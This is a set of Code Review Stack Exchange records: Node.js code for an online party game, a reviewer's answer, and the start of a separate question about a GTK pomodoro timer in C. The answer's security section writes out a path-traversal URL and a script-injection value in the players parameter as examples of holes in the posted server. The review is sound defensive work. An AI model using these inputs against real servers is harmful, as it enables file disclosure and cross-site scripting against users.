res.end('Server error'); } else { res.statusCode = 200; res.end(data.replace(/&lt;LINKS&gt;/g, links)); } }); } /* /compatibility/game Load the HTML page corresponding to the player */ else if(req.url.startsWith('/compatibility/game')) { var file; if(get['master'] == 1) { file = 'master.html'; } else { file = 'player.html'; } fs.readFile(file, 'utf8', (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read ' + file); res.end('Server error'); } else { if(get['master'] != 1) { // This is a player // We need to replace &lt;IMAGES&gt; var html = ''; for(i = 1; i &lt; 53; i++) { html += '&lt;img src=&quot;img/' + i.toString() + '.jpg&quot; /&gt;'; } res.end(data.replace(/&lt;IMAGES&gt;/g, html)); } else { res.statusCode = 200; res.end(data); } } }); } /* /compatibility/load Returns the Game object */ else if(req.url.startsWith('/compatibility/load')) { res.statusCode = 200; res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify(games[get['players']])); } /* /comptatibility/connect A new player is connecting */ else if(req.url.startsWith('/compatibility/connect')) { if(games[get['players']].players[get['player']] == -1) { games[get['players']].players[get['player']] = 0; var allConnected = 1; for(const [player, score] of Object.entries(games[get['players']].players)) { if(score == -1) { allConnected = 0; break; } } if(allConnected) { games[get['players']].state = &quot;waitingWord&quot;; } } res.statusCode = 200; res.end(); } /* /compatibility/newWord Start a new round with a new word */ else if(req.url.startsWith('/compatibility/newWord')) { var currentGame = games[get['players']]; if(currentGame.state != &quot;waitingWord&quot; &amp;&amp; currentGame.state != &quot;computingResults&quot;) { res.statusCode = 500; console.log(&quot;Bad /compatibility/newWord&quot;); console.log(req); res.end(); } else { var data = currentGame.newWord(); res.statusCode = 200; res.setHeader('Content-Type', 'text/plain'); res.end(data); } } else if(req.url.startsWith('/compatibility/send')) { var currentGame = games[get['players']]; currentGame.send[get['player']] = get['images']; if(currentGame.state == 'waitingPlayers' &amp;&amp; Object.keys(currentGame.send).length == Object.keys(currentGame.players).length) { currentGame.state = 'computingResults'; const matcher_images = currentGame.send[currentGame.matcher]; for(const [player, images] of Object.entries(currentGame.send)) { if(player != currentGame.matcher) { images.split('-').forEach((image, idx) =&gt; { matcher_images.split('-').forEach((matcher_image, matcher_idx) =&gt; { if(image == matcher_image) { if(idx == matcher_idx) { currentGame.players[player] += 3; } else { currentGame.players[player] += 2; } } }); }); } } } res.statusCode = 200; res.end(); } /* Load *.js file */ else if(req.url.startsWith('/compatibility/') &amp;&amp; req.url.endsWith('.js')) { var file = req.url.replace(/\/compatibility\//, ''); fs.readFile(file, 'utf8', (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read ' + file); res.end('Server error'); } else { res.statusCode = 200; res.end(data); } }); } /* Load *.img file */ else if(req.url.startsWith('/compatibility/img/') &amp;&amp; req.url.endsWith('.jpg')) { var file = req.url.replace(/\/compatibility\//, ''); fs.readFile(file, (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read ' + file); res.end('Server error'); } else { res.statusCode = 200; res.end(data); } }); } else { res.statusCode = 404; res.end('Not found'); } }); server.listen(port); </code></pre> <ul> <li><code>master.js</code>:</li> </ul> <pre><code>/* getUrlParameter Return the corresponding HTTP GET parameter. */ var getUrlParameter = function getUrlParameter(sParam) { var sPageURL = window.location.search.substring(1), sURLVariables = sPageURL.split('&amp;'), sParameterName, i; for (i = 0; i &lt; sURLVariables.length; i++) { sParameterName = sURLVariables[i].split('='); if (sParameterName[0] === sParam) { return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]); } } }; var refreshInterval; /* refreshGame Function called every seconds to update the data of the game */ function refreshGame() { $.get(&quot;/compatibility/load&quot;, { players: getUrlParameter('players') }).done( game =&gt; { $('#load').hide(); if(game['state'] == 'starting') { var html = ''; for(const [player, score] of Object.entries(game['players'])) { html += '&lt;p&gt;' + player + ' : ' + ( score == -1 ? 'Not connected' : 'Connected' ) + '&lt;/p&gt;'; } $('#starting').html(html); } else if(game['state'] == 'waitingWord') { clearInterval(refreshInterval); $('#starting').hide(); var html = ''; for(const [player, score] of Object.entries(game['players'])) { html += '&lt;p&gt;' + player + ' : ' + score.toString() + '&lt;/p&gt;'; } $('#ranking').html(html); $('#newWord').show(); } else if(game['state'] == 'waitingPlayers') { var html = ''; for(const [player, images] of Object.entries(game['send'])) { html += '&lt;p&gt;' + player + ' : ' + images + '&lt;/p&gt;'; } $('#results').html(html); } else if(game['state'] == 'computingResults') { var html = ''; for(const [player, images] of Object.entries(game['send'])) { html += '&lt;p&gt;' + player + ' : ' + images + '&lt;/p&gt;'; } $('#results').html(html); html = ''; for(const [player, score] of Object.entries(game['players'])) { html += '&lt;p&gt;' + player + ' : ' + score.toString() + '&lt;/p&gt;'; } $('#ranking').html(html); $('#newWord').show(); $('#game').show(); clearInterval(refreshInterval); } }); } /* newWord Ask to the server a new word */ function newWord() { $.get(&quot;/compatibility/newWord&quot;, { players: getUrlParameter('players') }).done ( data =&gt; { $('#word').text(data.split('#')[0]); $('#matcher').text(data.split('#')[1]); $('#game').show(); $('#newWord').hide(); $('#results').html(''); }); refreshInterval = setInterval(refreshGame, 1000); } /* loadGame Get the informations of the current game to the server and display them. This function is launched only once at the loading of the page */ function loadGame() { refreshInterval = setInterval(refreshGame, 1000); } </code></pre> <ul> <li><code>master.html</code>:</li> </ul> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;jquery-3.5.1.min.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;master.js&quot;&gt;&lt;/script&gt; &lt;/head&gt; &lt;body onLoad=&quot;loadGame()&quot;&gt; &lt;div id=&quot;load&quot;&gt; &lt;p&gt;Loading...&lt;/p&gt; &lt;/div&gt; &lt;div id=&quot;starting&quot;&gt;&lt;/div&gt; &lt;div id=&quot;ranking&quot;&gt;&lt;/div&gt; &lt;div id=&quot;newWord&quot; style=&quot;display: none&quot;&gt; &lt;input type=&quot;button&quot; value=&quot;Next word&quot; onclick=&quot;newWord()&quot; /&gt; &lt;/div&gt; &lt;div id=&quot;game&quot; style=&quot;display: none&quot;&gt; &lt;p&gt;Current word: &lt;b&gt;&lt;span id=&quot;word&quot; /&gt;&lt;/b&gt; &lt;p&gt;Matcher: &lt;b&gt;&lt;span id=&quot;matcher&quot; /&gt;&lt;/b&gt; &lt;div id=&quot;results&quot;&gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <ul> <li><code>player.js</code></li> </ul> <pre><code>/* getUrlParameter Return the corresponding HTTP GET parameter. */ var getUrlParameter = function getUrlParameter(sParam) { var sPageURL = window.location.search.substring(1), sURLVariables = sPageURL.split('&amp;'), sParameterName, i; for (i = 0; i &lt; sURLVariables.length; i++) { sParameterName = sURLVariables[i].split('='); if (sParameterName[0] === sParam) { return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]); } } }; var refreshInterval; /* waiting Function called every seconds when waiting something from the server */ function waiting() { $.get(&quot;/compatibility/load&quot;, { players: getUrlParameter('players') }).done( game =&gt; { if(game['state'] == 'starting') { $('#results').hide(); if(game['players'][getUrlParameter('player')] == -1) { $.get(&quot;/compatibility/connect&quot;, { players: getUrlParameter('players'), player: getUrlParameter('player') }).done((data) =&gt; { }); } $('#starting').show(); } else if(game['state'] == 'waitingWord') { $('#results').hide(); $('#starting').hide(); $('#waiting').show(); } else if(game['state'] == 'waitingPlayers') { $('#results').hide(); if(!game['send'][getUrlParameter('player')]) { $('#waiting').hide(); $('#word').text(game['word']); $('#matcher').text(game['matcher']); $('#game').show(); clearInterval(refreshInterval); } else { $('#game').hide(); $('#starting').show(); } } else if(game['state'] == 'computingResults') { $('#starting').hide(); $('#waiting').hide(); var html = ''; for(const [player, images] of Object.entries(game['send'])) { html += '&lt;p&gt;' + player + ' :&lt;/p&gt;';// + images + '&lt;/p&gt;'; images.split('-').forEach((image) =&gt; { html += '&lt;img src=&quot;img/'+image+'.jpg&quot; /&gt;'; }); } for(const [player, score] of Object.entries(game['players'])) { html += '&lt;p&gt;' + player + ' : ' + score.toString() + '&lt;/p&gt;'; } $('#results').html(html); $('#results').show(); } }); $('#load').hide(); } /* sendImages Send the list of images to the server. */ function sendImages() { var images = []; for(i = 1; i &lt; 6; i++) { var image = $('#image' + i.toString()).val(); if(image == '') { alert(&quot;You have to fill all the fields&quot;); return; } if(!/^[0-9]+$/.test(image)) { alert(image + &quot; is not a number&quot;); return; } var n = parseInt(image); if(n &lt; 1 || n &gt; 52) { alert(image + &quot; should be between 1 and 52&quot;); return; } if(images.includes(n)) { alert(image + &quot; is used multiple times&quot;); return; } images.push(n); } var images_text = images.join('-'); console.log(images_text); $.get(&quot;/compatibility/send&quot;, { players: getUrlParameter('players'), player: getUrlParameter('player'), images: images_text }).done((data) =&gt; { $('#game').hide(); $('#starting').show(); refreshInterval = setInterval(waiting, 1000); }); } /* loadGame Get the informations of the current game to the server and display them. This function is launched only once at the loading of the page */ function loadGame() { waiting(); refreshInterval = setInterval(waiting, 1000); } </code></pre> <ul> <li><code>player.html</code></li> </ul> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;jquery-3.5.1.min.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;player.js&quot;&gt;&lt;/script&gt; &lt;/head&gt; &lt;body onLoad=&quot;loadGame()&quot;&gt; &lt;div id=&quot;load&quot;&gt; &lt;p&gt;Loading...&lt;/p&gt; &lt;/div&gt; &lt;div id=&quot;starting&quot; style=&quot;display: none;&quot;&gt; &lt;p&gt;Waiting for the other players&lt;/p&gt; &lt;/div&gt; &lt;div id=&quot;waiting&quot; style=&quot;display: none;&quot;&gt; &lt;p&gt;Waiting for a new word&lt;/p&gt; &lt;/div&gt; &lt;div id=&quot;game&quot; style=&quot;display: none;&quot;&gt; &lt;p&gt;Current word: &lt;b&gt;&lt;span id=&quot;word&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Matcher: &lt;b&gt;&lt;span id=&quot;matcher&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Ordered list of the five images corresponding to the word:&lt;/p&gt; &lt;input type=&quot;text&quot; id=&quot;image1&quot; /&gt; &lt;input type=&quot;text&quot; id=&quot;image2&quot; /&gt; &lt;input type=&quot;text&quot; id=&quot;image3&quot; /&gt; &lt;input type=&quot;text&quot; id=&quot;image4&quot; /&gt; &lt;input type=&quot;text&quot; id=&quot;image5&quot; /&gt; &lt;input type=&quot;button&quot; value=&quot;Send&quot; onclick=&quot;sendImages()&quot; /&gt; &lt;div id=&quot;image_list&quot;&gt; &lt;IMAGES&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&quot;results&quot; style=&quot;display: none;&quot;&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <ul> <li><code>start.tmpl</code></li> </ul> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;/head&gt; &lt;body&gt; &lt;LINKS&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <ul> <li><code>play.tmpl</code></li> </ul> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;&lt;a href=&quot;/compatibility/start?players=&lt;PLAYERS&gt;&quot;&gt;Link of the game&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;/compatibility/game?master=1&amp;amp;players=&lt;PLAYERS&gt;&quot;&gt;Link for the master of the game&lt;/a&gt;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <ul> <li><code>create.html</code></li> </ul> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;/head&gt; &lt;body&gt; &lt;form action=&quot;compatibility/create&quot; method=&quot;POST&quot;&gt; &lt;p&gt;Name of the players (separated by ';') :&lt;/p&gt; &lt;input type=&quot;text&quot; name=&quot;players&quot; /&gt; &lt;input value=&quot;Create&quot; type=&quot;submit&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
[]
[ { "body": "<p>I'll start out by doing some a general code-quality, just with your app.js. Then I'll go over some of the other questions you had.</p>\n<h2>app.js code quality suggestions</h2>\n<p>Let's start with this chunk:</p>\n<pre><code>var words = [];\n\nfs.readFile('dico.txt', 'utf8', (err, data) =&gt; {\n words = data.split('\\n');\n});\n</code></pre>\n<p>While often asynchronous versions of a function is preferred, they're not always necessary (like when the server is starting up). In this particular case you have a minor race condition - the words array could technically get accessed from an endpoint before disco.txt gets read. You can just use readFileSync(), it'll make the code a little more concise too:</p>\n<pre><code>const words = fs.readFileSync('disco.txt', 'utf8');\n</code></pre>\n<p>With this chunk of code:</p>\n<pre><code>var idx = Math.floor(Math.random() * Math.floor(this.remainingWords.length));\nthis.word = this.remainingWords.splice(idx, 1)[0];\n</code></pre>\n<p>There's no reason to floor the length of the array, you can take that function call out. Then, I would move this kind of thing out into a little helper function at the top of the file, so you could write this instead as <code>this.word = removeRandomListEntry(this.remainingWords)</code> - it makes functions like newWord() read better when it's content focuses just on the task their trying to perform instead of lower-level details. See if you can find other places in your code where splitting out helper functions can make it more readable (like a function that'll collect the body of a request for you, so you don't have to do all that boilerplate work in the middle of an endpoint handler).</p>\n<p>newWord() is returning the chosen word with matcher joined by a &quot;#&quot;. Why not just return an object literal instead? <code>return { word: this.word, matcher: this.matcher }</code>. One of your API endpoints returns that same joined string, you can instead have it return this object as a JSON string also.</p>\n<p>this.matcher_id is never the id for this.matcher - that's misleading. Maybe you were wanting to call it this.next_matcher_id? In general, there's a number of variables that I can't figure out what they do without looking at how they're used, which means their names aren't doing a very good job of explaining their purpose. Naming is one of the trickier parts to coding, but doing a good job can make a huge difference.</p>\n<p>Your getGetParameters() (and getUrlParameter() from master.js) can be replaced by using <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams\" rel=\"nofollow noreferrer\">URLSearchParams()</a> and/or <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/URL/URL\" rel=\"nofollow noreferrer\">URL()</a>. Some example usage:</p>\n<pre><code>&gt; params = new URLSearchParams('?a=2&amp;b=3')\nURLSearchParams { 'a' =&gt; '2', 'b' =&gt; '3' }\n&gt; params.get('a')\n'2'\n&gt; Object.fromEntries(params)\n{ a: '2', b: '3' }\n&gt; url = new URL('https://example.com?a=2&amp;b=3') // If you have a full URL, use the URL constructor instead\nURL {\n ...\n}\n&gt; url.searchParams.get('a') // url.searchParams is an instance of URLSearchParams()\n'2'\n</code></pre>\n<p>I would recommend making your request handler callback into an async function, then using promise-based APIs instead of callbacks (i.e. use <a href=\"https://nodejs.org/dist/latest-v10.x/docs/api/fs.html#fs_fs_promises_api\" rel=\"nofollow noreferrer\">fs.promises</a> instead of fs).</p>\n<p>For example:</p>\n<pre><code>const server = http.createServer(async (req, res) =&gt; {\n ...\n if(req.url == '/compatibility') {\n let data;\n try {\n data = await fs.promises.readFile('create.html', 'utf8');\n } catch (err) {\n res.statusCode = 500;\n console.log('Unable to read create.html');\n res.end('Server error');\n return;\n }\n res.statusCode = 200;\n res.end(data);\n }\n ...\n}\n</code></pre>\n<p>This isn't super important, but it does read nicer, and it will help with my next tip: Be careful with your status codes. 5xx errors are mainly used for unexpected server errors. If the error is the client's fault, use a 4xx error. I would just wrap your entire request handler callback in a giant try-catch, and in the catch, log the error and return a 500 status code. You shouldn't need to use 500 anywhere else. (Using await makes this even better as it allows the catch to catch asynchronous errors - something that can't be done as easily when using callbacks).</p>\n<p>For example:</p>\n<pre><code>const server = http.createServer(async (req, res) =&gt; {\n try {\n await requestHandler(req, res);\n } catch (err) {\n res.statusCode = 500;\n console.error(error.message);\n console.error(error.stack);\n res.end('Server error');\n }\n}\n\nasync function requestHandler(req, res) {\n ...\n if(req.url == '/compatibility') {\n const data = await fs.promises.readFile('create.html', 'utf8');\n res.statusCode = 200;\n res.end(data);\n }\n ...\n}\n</code></pre>\n<p>Notice how when reading the file we no longer need to specifically handle what happens if create.html is missing? It really shouldn't ever be missing, it's part of the repo, but if it was, then that's a fatal error, and we'll just let the general try-catch handle the issue.</p>\n<p>Lets look at some of the other places where you use the 500 code:</p>\n<ul>\n<li>In <code>/compatibility/newWord</code>, it the endpoint is used at the wrong time (i.e. before the game has started), that should be a 400 error - it's the client that's misusing the endpoint, there's nothing wrong with the server.</li>\n<li>In <code>/compatibility/&lt;file.js&gt;</code> and <code>/compatibility/img/&lt;image&gt;</code>, if the resource is missing, it should be a 404 error - again, it's the client's fault for trying to access a non-existent resource, the server hasn't done anything wrong.</li>\n</ul>\n<p>Some other miscelaneous items:</p>\n<ul>\n<li>prefer === over ==, &quot;==&quot; has some magical behavior, which is why javascript authors introduced &quot;===&quot; to replace it.</li>\n<li>You may want to take a look into const and let, many argue that var shouldn't be used anymore.</li>\n<li>inconsistant naming: Sometimes you use snake_case for variables names, other times its camelCase. You'll most commonly find javascript users using camelCase (and often endpoints are done with kebab-case.)</li>\n</ul>\n<h2>Answering other questions</h2>\n<p><strong>Route management: in my code, app.js parses the request URL to determine which page it should respond. I'm wondering how it is possible to do it better.</strong></p>\n<p>If the project is small enough and the endpoints are simple enough, I actually don't have a problem with the way you did it. A more scaleable solution would be to keep your if-then chain, but make the only thing inside the if block a call to some other function that has the actual logic for handling the request. Then place these functions into one or more &quot;controller&quot; files. You could do more to make things even more scaleable, but then you're getting into the territory of reinventing existing frameworks, like express, that have a nicer system in place to handle routing for you.</p>\n<p>I do want to note that your route-matching logic is too lenient. You're often using req.url.startsWith('/my/route'), which will cause your if-then to match against routes like '/my/route/x/y/z'. At the top of your function, you can do something like the following:</p>\n<pre><code>const path = req.url.split('?')[0].split('#')[0]\n</code></pre>\n<p>Then, you can just do <code>path === '/my/route'</code> in your &quot;if&quot; conditions. You may also want to remove trailing slashes from the path too.</p>\n<p><strong>Client/Server workflow: the clients of the application, when they are waiting for an event from the server, send a request every second. Does it exist something to prevent that?</strong></p>\n<p>In some cases, polling works just fine, like you're doing. But, what you're looking for is either <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API\" rel=\"nofollow noreferrer\">websockets</a> (which allow for two-way communication) or <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events\" rel=\"nofollow noreferrer\">server events</a> (which only allows one-way communication from server to client). Either one would do the trick.</p>\n<p><strong>Template management: I created some .tmpl file that app.js will uses to produce dynamic HTML files. Maybe something more efficient exists.</strong></p>\n<p>When coding up a website, you can either design it to have a &quot;thin client&quot; or a &quot;thick client&quot;, which both have pros and cons.</p>\n<ul>\n<li>In a thin client (what you have), most of the code gets run on the server (within node, not the browser). node uses a template to generate a page that gets returned to the browser. A really thin client can have little-to-no javascript running in the browser, making all interactions with the server happen through page loads and html forms. Coding like this can sometimes be simpler (depending on what you're doing), but can also be limiting.</li>\n<li>A thick client means all the logic to build a view lives in the javascript that runs in the browser. The server will never return HTML, instead, it exposes a number of API endpoints that the client can interact with (through fetch()) to gather all the data it needs to build a view. Then, it uses DOM manipulation functions (like document.createElement()) to modify the page and show the data it fetched. These have more power, especially when dealing with page transitions (you don't have to load an entire new page, just the new content that's needed).</li>\n</ul>\n<p>If you prefer to stick with a thin client, then I would recommend the following changes:</p>\n<ul>\n<li>You're never escaping any data that you put into your template. If all the data is trusted, then that's fine, but if not, you'll need to make sure you follow <a href=\"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\" rel=\"nofollow noreferrer\">these escaping rules</a> that were put together to help prevent XSS attacks. (Templating languages like PHP come with native escaping functions to help out. Node doesn't have those, so you'll have to find some hand-made ones online). Note that this whole escaping business is common practice in thin client websites, but it's also risky - one missup and you have a vunerability, which is why it's as dangourous as the often discouraged use of setting .innerHTML. One safer alternative would be to use a templating system like <a href=\"https://handlebarsjs.com/\" rel=\"nofollow noreferrer\">Handlebars</a> that'll take care of escaping for you.</li>\n<li>This isn't necessasry, but I would separate API endpoints (endpoints that retrieve data and do business logic) from view endpoints (endpoints that return HTML). You can put all API endpoints under <code>api/</code> (e.g. <code>/compatibility/api/connect</code> or <code>/api/connect</code>), and keeping your UI endpoints where they are. In your request handler callback, you can cause it to either call a handleApiRequest() callback or handleUiRequest() callback, depending on if the path started with <code>api/</code> or not. Such a separation would then let you do things such as making the UI endpoints can give back 500 or 404 errors in HTML while the API endpoints give back JSON or no content.</li>\n</ul>\n<p>You may wish to change to a thick client. This would mean:</p>\n<ul>\n<li>You would only have API endpoints, no endpoints will ever serve server-generated HTML. (though, you will still need to serve some static HTML files)</li>\n<li>It'll be easier to defend against XSS attacks as you won't have to worry about properly escaping strings before inserting them into a template (as you can just build the UI with native DOM functions). Though, you could still use a templating system like handlebars on the client to generate your HTML, which handles the escaping for you.</li>\n</ul>\n<p><strong>I'm also interested by every reviews about security (how to not cheat, input validation,...)</strong></p>\n<p>In your generic endpoints to load <code>*.js</code> or image files, you're not escaping the path used at all. So, there's nothing to stop someone from using a path like <code>/compatibility/../../path/to/private/data.txt</code> to load any file on the file system that node has permission to access. Only allow the user to access what you want them to access and nothing more. Try putting such files into a public/ directory and have your generic compatibility/*.js endpoint only load files from public/, and make sure it only allows characters such as letters and numbers for the file name (no slashes).</p>\n<p>I haven't looked too closely at other areas of the app, but here's some things I would look for:</p>\n<ul>\n<li>Is it possible for a user to upgrade themselves to a master by modifying the URL given to them to have &quot;master=1&quot; in the query parameter? Or to another player by just putting that player's name in the URL? Would they get caught?</li>\n<li>You rarely escape strings before inserting them into a template - there's likely some potential XSS attacks in there. Is it possible for a master to construct a very special URL to give to other players, that allows them to take control of the other player's machines? i.e. what if the players GET parameter was set to be <code>player1;player2;masterPlayer&lt;script&gt;doEvilStuff()&lt;/script&gt;</code> - is it possible to then distribute URLs to other players that bring them to the game, but with the master running arbitrary logic on their machines? This kind of thing matters more when the page might have private information that the client would not want to get leaked, or auth cookies, etc, but it's still important to prevent this kind of behavior.</li>\n</ul>\n<p><strong>locale management</strong></p>\n<p>I don't have too much experience in this area, but I know how WordPress handles it, and I know how that might get interpreted to javascript. You can of course look up articles if you wish to dive into this more yourself.</p>\n<p>But the basic idea is to have JSON files for each language you want to support, which maps a unique tag to a phrase that gets used in the interface.</p>\n<p>For example, you might have a languages/en-us.json with the following:</p>\n<pre><code>{\n &quot;linkToGame&quot;: &quot;Link of the game&quot;,\n &quot;serverError&quot;: &quot;Server error&quot;,\n ...\n}\n</code></pre>\n<p>Then, whenever you might hard-code a string that eventually gets shown to the user (in error messages, template files, etc), you lookup the message from a loaded language file. e.g.</p>\n<pre><code>res.end(lang.serverError)\n</code></pre>\n<p>(assume lang contains one of the language mapping files)</p>\n<h2>Conclusion</h2>\n<p>Whoops, this ran on a little long. Don't feel like you need to do all these changes to your current project, except for maybe some of the security issues. Instead, think of these as concepts that you can apply to your future projects. Hopefully this can give you some ideas of how you might improve your craft.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-07T06:25:45.607", "Id": "254408", "ParentId": "253414", "Score": "2" } } ]
{ "AcceptedAnswerId": "254408", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T09:52:39.727", "Id": "253414", "Score": "2", "Tags": [ "javascript", "beginner", "game", "node.js" ], "Title": "Online implementation of the game \"Compatibility\"" }
253414
<h1>Purpose</h1> <p>The code is for a timer with a starting time of 25 minutes. The goal is to have a very simple pomodoro application with Start, Pause and Reset. Also you can tick a box to make the UI stay in front of the desktop so you always have the timer in front of your eyes.</p> <h1>Hierarchy</h1> <pre><code>main.c /src structures.h /features timer.c timer.h /frontend frontend.c frontend.h style.css view.glade /signals options.c options.h timer_buttons.c timer_buttons.h </code></pre> <h1>Code</h1> <h2>main.c</h2> <pre><code>#include &lt;stdlib.h&gt; #include &lt;gtk/gtk.h&gt; #include &lt;time.h&gt; #include &lt;glib.h&gt; #include &lt;stdbool.h&gt; #include &quot;src/structures.h&quot; #include &quot;src/signals/options.c&quot; #include &quot;src/signals/timer_buttons.c&quot; #include &quot;src/frontend/frontend.c&quot; #include &quot;src/features/timer.c&quot; int main (int argc, char **argv) { GtkBuilder *builder; GtkWidget *window; struct TimerUI timerUi; bool success; gtk_init(&amp;argc, &amp;argv); builder = gtk_builder_new(); // set up user interface success = init_view(builder); if (!success) return 1; // get and set up window window = GTK_WIDGET( gtk_builder_get_object (builder, &quot;window&quot;)); timerUi.window = GTK_WINDOW(window); g_signal_connect(window, &quot;destroy&quot;, G_CALLBACK(gtk_main_quit), NULL); gtk_window_set_title(GTK_WINDOW(window), &quot;Pomodoro Timer&quot;); // connect signals to builder gtk_builder_connect_signals(builder, &amp;timerUi); // timer init_timer(builder, &amp;timerUi); // style success = init_style(&amp;timerUi); if (!success) return 1; // start gtk_widget_show(window); gtk_main(); return 0; } </code></pre> <h2><strong>src/structures.h</strong></h2> <pre><code>#ifndef STRUCTURES_H_INCLUDED #define STRUCTURES_H_INCLUDED struct TimerUI { GtkWindow *window; GtkLabel *label; int hours; int seconds; int timerReference; }; #endif // STRUCTURES_H_INCLUDED </code></pre> <h2><strong>src/features/timer.c</strong></h2> <pre><code>#include &quot;timer.h&quot; #include &quot;../structures.h&quot; void init_timer(GtkBuilder *builder, struct TimerUI *timerUi) { // ui timerUi-&gt;label = GTK_LABEL(gtk_builder_get_object(builder, &quot;timer&quot;)); // timer callback reference timerUi-&gt;timerReference = 0; // reset reset_timer(timerUi); } void reset_timer(struct TimerUI *timerUi) { timerUi-&gt;hours = 25; timerUi-&gt;seconds = 0; gtk_label_set_text(timerUi-&gt;label, &quot;25:00&quot;); } gboolean run_timer(struct TimerUI *timerUi) { char formattedTime[6]; char formattedSeconds[3]; if (timerUi-&gt;seconds == 0) timerUi-&gt;seconds = 59; else timerUi-&gt;seconds = timerUi-&gt;seconds - 1; if (timerUi-&gt;seconds == 59) timerUi-&gt;hours = timerUi-&gt;hours - 1; if (timerUi-&gt;seconds &lt; 10 &amp;&amp; timerUi-&gt;seconds &gt;= 0) snprintf(formattedSeconds, 3, &quot;0%d&quot;, timerUi-&gt;seconds); else snprintf(formattedSeconds, 3, &quot;%d&quot;, timerUi-&gt;seconds); snprintf(formattedTime, 6, &quot;%d:%s&quot;, timerUi-&gt;hours, formattedSeconds); gtk_label_set_text(GTK_LABEL(timerUi-&gt;label), formattedTime); return true; } </code></pre> <h2><strong>src/features/timer.h</strong></h2> <pre><code>#ifndef TIMER_H_INCLUDED #define TIMER_H_INCLUDED void init_timer (GtkBuilder *builder, struct TimerUI *timerUi); void reset_timer (struct TimerUI*); gboolean run_timer (struct TimerUI*); #endif // TIMER_H_INCLUDED </code></pre> <h2><strong>src/frontend/frontend.c</strong></h2> <pre><code>#include &quot;frontend.h&quot; #include &quot;../structures.h&quot; bool init_view(GtkBuilder *builder) { GError *error = NULL; // tricky way to make it work once installed but also if you compile manually if (gtk_builder_add_from_file(builder, &quot;/usr/local/share/main/view.glade&quot;, &amp;error) == 0) { if (gtk_builder_add_from_file(builder, &quot;src/frontend/view.glade&quot;, &amp;error) == 0) { g_warning(&quot;%s&quot;, error-&gt;message); g_clear_error(&amp;error); return false; } } return true; } bool init_style(struct TimerUI *timerUi) { GtkStyleContext *context; GtkCssProvider *provider; GError *error = NULL; context = gtk_widget_get_style_context(GTK_WIDGET(timerUi-&gt;label)); provider = gtk_css_provider_new(); // tricky way to make it work once installed but also if you compile manually gtk_css_provider_load_from_path(provider, &quot;/usr/local/share/main/style.css&quot;, &amp;error); if (error) { gtk_css_provider_load_from_path(provider, &quot;/usr/local/share/main/style.css&quot;, &amp;error); if (error) { g_warning(&quot;%s&quot;, error-&gt;message); g_clear_error(&amp;error); return false; } } gtk_style_context_add_provider(context, GTK_STYLE_PROVIDER(provider), GTK_STYLE_PROVIDER_PRIORITY_USER); return true; } </code></pre> <h2><strong>src/frontend/frontend.h</strong></h2> <pre><code>#ifndef FRONTEND_H_INCLUDED #define FRONTEND_H_INCLUDED bool init_view (GtkBuilder *builder); bool init_style (struct TimerUI *timerUi); #endif // FRONTEND_H_INCLUDED </code></pre> <h2><strong>src/signals/options.c</strong></h2> <pre><code>#include &quot;options.h&quot; #include &quot;../structures.h&quot; void stick_checkbox_signal(GtkToggleButton *checkBox, struct TimerUI *timerUi) { bool isActive = gtk_toggle_button_get_active(checkBox); gtk_window_set_keep_above(timerUi-&gt;window, isActive); } </code></pre> <h2><strong>src/signals/options.h</strong></h2> <pre><code>#ifndef OPTIONS_H_INCLUDED #define OPTIONS_H_INCLUDED void stick_checkbox_signal (GtkToggleButton*, struct TimerUI*); #endif // OPTIONS_H_INCLUDED </code></pre> <h2><strong>src/signals/timer_buttons.c</strong></h2> <pre><code>#include &quot;timer_buttons.h&quot; #include &quot;../structures.h&quot; #include &quot;../features/timer.h&quot; void start_signal(GtkWidget *widget, struct TimerUI *timerUi) { if (timerUi-&gt;timerReference != 0) return; timerUi-&gt;timerReference = g_timeout_add(1000, G_SOURCE_FUNC(run_timer), timerUi); } void pause_signal(GtkWidget *widget, struct TimerUI *timerUi) { if (timerUi-&gt;timerReference != 0) g_source_remove(timerUi-&gt;timerReference); timerUi-&gt;timerReference = 0; } void reset_signal(GtkWidget *widget, struct TimerUI *timerUi) { if (timerUi-&gt;timerReference != 0) g_source_remove(timerUi-&gt;timerReference); timerUi-&gt;timerReference = 0; reset_timer(timerUi); } </code></pre> 